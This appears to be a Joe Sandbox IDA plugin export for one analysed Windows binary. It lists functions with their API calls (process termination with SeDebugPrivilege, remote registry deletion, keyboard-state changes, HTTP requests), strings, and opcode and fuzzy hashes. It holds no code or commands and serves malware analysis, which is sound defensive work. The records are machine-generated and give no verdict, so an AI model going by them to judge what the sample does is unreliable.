Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FreeString$FileFromLibraryModuleNamePathQueryType
String ID:
API String ID: 1903627254-0
Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction ID: 4c82d70b98ab15ebcbfe92e9fade02d3286789f25881ab71d26bede9016c7f63
Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
Instruction Fuzzy Hash: 57023B62A08B8286DB60EF3AD4449ADAB60FBC4BC4F944032EB4E47764DF7CD55AC710

Function 00007FF7978DC324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7978DC40A
ShowWindow.USER32(00000000,?,?,00007FF79787DF87), ref: 00007FF7978DC449
ShowWindow.USER32 ref: 00007FF7978DC457
SetFocus.USER32 ref: 00007FF7978DC460

Part of subcall function 00007FF7978DE7D4: DeleteObject.GDI32 ref: 00007FF7978DE82A

GetWindowLongW.USER32 ref: 00007FF7978DC4A8
SetWindowLongPtrW.USER32 ref: 00007FF7978DC4BD
InvalidateRect.USER32(00000000,?,?,00007FF79787DF87), ref: 00007FF7978DC4F7
SendMessageW.USER32 ref: 00007FF7978DC536
SendMessageW.USER32 ref: 00007FF7978DC54A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction ID: 3e8f88fd5444c08fd0cde1a764b7bc4879874e548d53f0f342d69ef9b6a45ac7
Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
Instruction Fuzzy Hash: BC619525A086438AF774BB35D888FB9AB62BF807E4F904131D91D436D5CEBDE4639320

Function 00007FF79789D780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF79789D7A2
HeapAlloc.KERNEL32 ref: 00007FF79789D7B4
GetCurrentProcess.KERNEL32 ref: 00007FF79789D7BD
GetCurrentProcess.KERNEL32 ref: 00007FF79789D7C6
DuplicateHandle.KERNEL32 ref: 00007FF79789D7EA
GetCurrentProcess.KERNEL32 ref: 00007FF79789D7F0
GetCurrentProcess.KERNEL32 ref: 00007FF79789D7F9
DuplicateHandle.KERNEL32 ref: 00007FF79789D81E
CreateThread.KERNEL32 ref: 00007FF79789D844

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction ID: 42f2c8a630aaa787696594ee1d9f96bfa10f205f7a1a5a5f639218a25ef71e59
Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
Instruction Fuzzy Hash: 42213C72519B4182E720EF62E84876ABBA0FB89FDAF844125DA8D07B64CF7CD1598710

Function 00007FF7978CE580 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978ABE00: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7978ABE3B
Part of subcall function 00007FF7978ABE00: Process32FirstW.KERNEL32 ref: 00007FF7978ABE4B
Part of subcall function 00007FF7978ABE00: CloseHandle.KERNEL32 ref: 00007FF7978ABF55

OpenProcess.KERNEL32 ref: 00007FF7978CE610
GetLastError.KERNEL32 ref: 00007FF7978CE622
OpenProcess.KERNEL32 ref: 00007FF7978CE65B
TerminateProcess.KERNEL32 ref: 00007FF7978CE702
GetLastError.KERNEL32 ref: 00007FF7978CE70C
CloseHandle.KERNEL32 ref: 00007FF7978CE75A

Strings

SeDebugPrivilege, xrefs: 00007FF7978CE633

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction ID: bc941fd8a5b19c81cf4d4b9b8364af651246b3fd70706da543ea5acf8c28d83a
Opcode Fuzzy Hash: 4f21c35d0a4ac780837a5a8e5dc6f68c18b89875e417af61e1445dd9dd8e1fe8
Instruction Fuzzy Hash: 7A516F62A0874286EB20FB36C591B79BF60FF84BC5F858435D60D47A92DF7CE5268720

Function 00007FF7978AA070 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF7978AA12F
IsMenu.USER32 ref: 00007FF7978AA151
CreatePopupMenu.USER32 ref: 00007FF7978AA183
GetMenuItemCount.USER32 ref: 00007FF7978AA1DD
InsertMenuItemW.USER32 ref: 00007FF7978AA209

Strings

2, xrefs: 00007FF7978AA167
P, xrefs: 00007FF7978AA0D0

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 2$P
API String ID: 93392585-1110268094
Opcode ID: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction ID: 78c3d55628465ef4734eb175da710150defcbcc7afa01beed701d4a6f127c15b
Opcode Fuzzy Hash: 46a49604fdc7cbe7f64919669a233ff3b62d38c72d86d24d888cad9356e87a30
Instruction Fuzzy Hash: 9D51F432E04642A9F738AF71D441A7DBFA1BB407D8FA44135CA5A13A94CF3DD4A38722

Function 00007FF7978DE248 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7978DE32E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7978BBDFB), ref: 00007FF7978DE346
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7978BBDFB), ref: 00007FF7978DE360
SendMessageW.USER32 ref: 00007FF7978DE38D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF7978BBDFB), ref: 00007FF7978DE3B1
SetWindowPos.USER32 ref: 00007FF7978DE3F7

Strings

', xrefs: 00007FF7978DE3E2

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$LongMessageSend$Show
String ID: '
API String ID: 257662517-1997036262
Opcode ID: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction ID: d0ff32c16c29be0e78564a17c354bc91fe7ada0c1fa8266aac70beedd60f1259
Opcode Fuzzy Hash: eb894a93846cd46a5342e3ebb468783be677627f1867a2ee8fe2f5b975b70651
Instruction Fuzzy Hash: 8551C432A0864281E374BB7AA894E7DAF50EB85FD0F964135DE5E03B90CE7DE4538720

Function 00007FF7978AC5C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7978AC5DC
LoadStringW.USER32 ref: 00007FF7978AC5F2
GetModuleHandleW.KERNEL32 ref: 00007FF7978AC5FA
LoadStringW.USER32 ref: 00007FF7978AC616
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7978AC649
MessageBoxW.USER32 ref: 00007FF7978AC665

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00007FF7978AC642

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4051287042-3128320259
Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction ID: da7e74e1bd43495ea5cf1f0d6387e7ff9b208fa316233d93270520ad925739ad
Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
Instruction Fuzzy Hash: E5115271718B8691D734AB20F844BEAA764FF88784FC0503ADA4E43658DF7CD156C760

Function 00007FF7978E233C Relevance: 12.3, APIs: 8, Instructions: 254windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797832A54: GetWindowLongPtrW.USER32 ref: 00007FF797832A71

GetSystemMetrics.USER32 ref: 00007FF7978E23A5
GetSystemMetrics.USER32 ref: 00007FF7978E23C4
MoveWindow.USER32 ref: 00007FF7978E25F9
SendMessageW.USER32 ref: 00007FF7978E261A
SendMessageW.USER32 ref: 00007FF7978E263E
ShowWindow.USER32 ref: 00007FF7978E265E
InvalidateRect.USER32(?,?,?,00000000,?,?,?,00007FF79787AA58), ref: 00007FF7978E268B
DefDlgProcW.USER32(?,?,?,00000000,?,?,?,00007FF79787AA58), ref: 00007FF7978E26B3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction ID: e40deb3bda8b2412728ee5259ce869f3f70a42b60e47f7d5728df2c8eaffd764
Opcode Fuzzy Hash: e4483054fe90d725006c88ea8490581a4df116f0e1f8785d266180591fe398c1
Instruction Fuzzy Hash: CCA10672718A9382E778BF359554B79BBA0FF84BC4F505135DA1A43AA0DF3CE8628710

Function 00007FF7978CFCC0 Relevance: 12.2, APIs: 8, Instructions: 246registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978D1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7978CFD7B), ref: 00007FF7978D1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7978CFDAE
RegOpenKeyExW.ADVAPI32 ref: 00007FF7978CFE30
RegDeleteValueW.ADVAPI32 ref: 00007FF7978CFEC7
RegCloseKey.ADVAPI32 ref: 00007FF7978CFF34
RegCloseKey.ADVAPI32 ref: 00007FF7978D0041

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Close$BuffCharConnectDeleteOpenRegistryUpperValue
String ID:
API String ID: 50796853-0
Opcode ID: 18c6e7e98d25ee9453eb8a64695ba93ef2e4c35c66d04af6bd0c68575c4ce73f
Instruction ID: d9c6961c620bf4b85481facaedec44c3aaf1d4a6ac76dd3680307e621b85c569
Opcode Fuzzy Hash: 18c6e7e98d25ee9453eb8a64695ba93ef2e4c35c66d04af6bd0c68575c4ce73f
Instruction Fuzzy Hash: 9DB16F32B18A4286EB20EF75D4917BCAB60EF85BC4F844431EA4D57A96CF3CD526C760

Function 00007FF79785443C Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF7978544CD
ShowWindow.USER32 ref: 00007FF79789A753
ShowWindow.USER32 ref: 00007FF79789A7ED

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction ID: 8ea936946a4d4679e61cb21911df995b4320e6d732023d3acee9d8d2865767d2
Opcode Fuzzy Hash: cc21e6db9a044589e755c4703016b6e1d9c57170080a8525f9bf3d2d7d54c8f4
Instruction Fuzzy Hash: 0751C325E4C18298FB75BB389445B7CAF919F81BC4FD840B1C94E026D5CE6CF4A6C362

Function 00007FF7978D90A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 00007FF7978D90D8
GetDC.USER32 ref: 00007FF7978D90E0
GetDeviceCaps.GDI32 ref: 00007FF7978D90F1
ReleaseDC.USER32 ref: 00007FF7978D90FE
CreateFontW.GDI32 ref: 00007FF7978D9195
SendMessageW.USER32 ref: 00007FF7978D91AB
MoveWindow.USER32 ref: 00007FF7978D91F1
SendMessageW.USER32 ref: 00007FF7978D9213

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction ID: cd26259ef5cbbbcac67003ac12a355d1a7e7d447a7d2d80b36b517957e22d73b
Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
Instruction Fuzzy Hash: A4419C7661868187E7349F32B854B6ABBA0FB88BD1F504135EF9A47B54DF3CD4628B00

Function 00007FF797832100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction ID: e73b004436d2b4b7adc3a1a12c1d168cd62edd92ab9fd1b28a1daa7cb575a557
Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
Instruction Fuzzy Hash: 17A18F72A186C087D7749F29A400AAEFF65FB85BD4F904125EA8917B68CB3CD452CF11

Function 00007FF7978DFB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF7978DFBED
IsWindowEnabled.USER32 ref: 00007FF7978DFBFA
SendMessageW.USER32 ref: 00007FF7978DFD22
SendMessageW.USER32 ref: 00007FF7978DFE2A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSendWindow$Enabled
String ID:
API String ID: 3694350264-0
Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction ID: 6266851fba6d8abcda9f441220ee0dcf5b36b53cd5247b3cf1d4213b187426e2
Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
Instruction Fuzzy Hash: 7E91B221E0964646FB74BB359494BB9FB91AF44BD4F884032CA6D47695CF3CE4B3A320

Function 00007FF7978A9034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00007FF7978A9089
GetKeyboardState.USER32 ref: 00007FF7978A909D
SetKeyboardState.USER32 ref: 00007FF7978A90EC
PostMessageW.USER32 ref: 00007FF7978A9122
PostMessageW.USER32 ref: 00007FF7978A9147
PostMessageW.USER32 ref: 00007FF7978A9190
PostMessageW.USER32 ref: 00007FF7978A91B9

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction ID: cedf0af9b7d72ee70a6af9a86bbb8fbc5f6c97e13263f8f93a97a5307bc83c05
Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
Instruction Fuzzy Hash: 5851B012A0D2D156FB75AB715504E7EAFA1FB46BC0F898874DA8907B46CE2CE472C330

Function 00007FF7978BDBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF7978BDC5F
HttpOpenRequestW.WININET ref: 00007FF7978BDCA9
InternetCloseHandle.WININET ref: 00007FF7978BDDC0

Part of subcall function 00007FF7978BEAB8: GetLastError.KERNEL32 ref: 00007FF7978BEAD4
Part of subcall function 00007FF7978BEAB8: SetEvent.KERNEL32 ref: 00007FF7978BEAE9

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
String ID:
API String ID: 3401586794-0
Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction ID: d98ff06af8db935a61fdc6cf4b21a786cf95847cd35eef238d547a2e78a2bc46
Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction Fuzzy Hash: C851D42660864196F724EF31A844EAEABA0FB48BC8F944031DE4D13B44DF3DD466C760

Function 00007FF7978A4860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79789B748: CLSIDFromProgID.OLE32 ref: 00007FF79789B771
Part of subcall function 00007FF79789B748: ProgIDFromCLSID.OLE32 ref: 00007FF79789B790
Part of subcall function 00007FF79789B748: lstrcmpiW.KERNEL32 ref: 00007FF79789B7A2
Part of subcall function 00007FF79789B748: CoTaskMemFree.OLE32 ref: 00007FF79789B7B4

IIDFromString.OLE32 ref: 00007FF7978A48EF
CoCreateInstance.OLE32 ref: 00007FF7978A4931
SetErrorMode.KERNEL32 ref: 00007FF7978A496D
GetProcAddress.KERNEL32 ref: 00007FF7978A4983
SetErrorMode.KERNEL32 ref: 00007FF7978A4A15

Strings

DllGetClassObject, xrefs: 00007FF7978A4973

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
String ID: DllGetClassObject
API String ID: 668425406-1075368562
Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction ID: e1db8ad5d4c0504685c67fe59c2a7d27af5af31a7881d9c3aaaecea337aaf2e1
Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction Fuzzy Hash: 5D518D62A08B4692EB28AF2AE540B79AB60FB84BC4F944134DB4D47A51DF7CF076C710

Function 00007FF7978D9248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7978D928B
GetWindowLongW.USER32 ref: 00007FF7978D9313
SendMessageW.USER32 ref: 00007FF7978D935A
SendMessageW.USER32 ref: 00007FF7978D9389
GetWindowLongW.USER32 ref: 00007FF7978D93A0
SetWindowLongPtrW.USER32(?,?,?,00007FF7978DDF83), ref: 00007FF7978D93C4

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

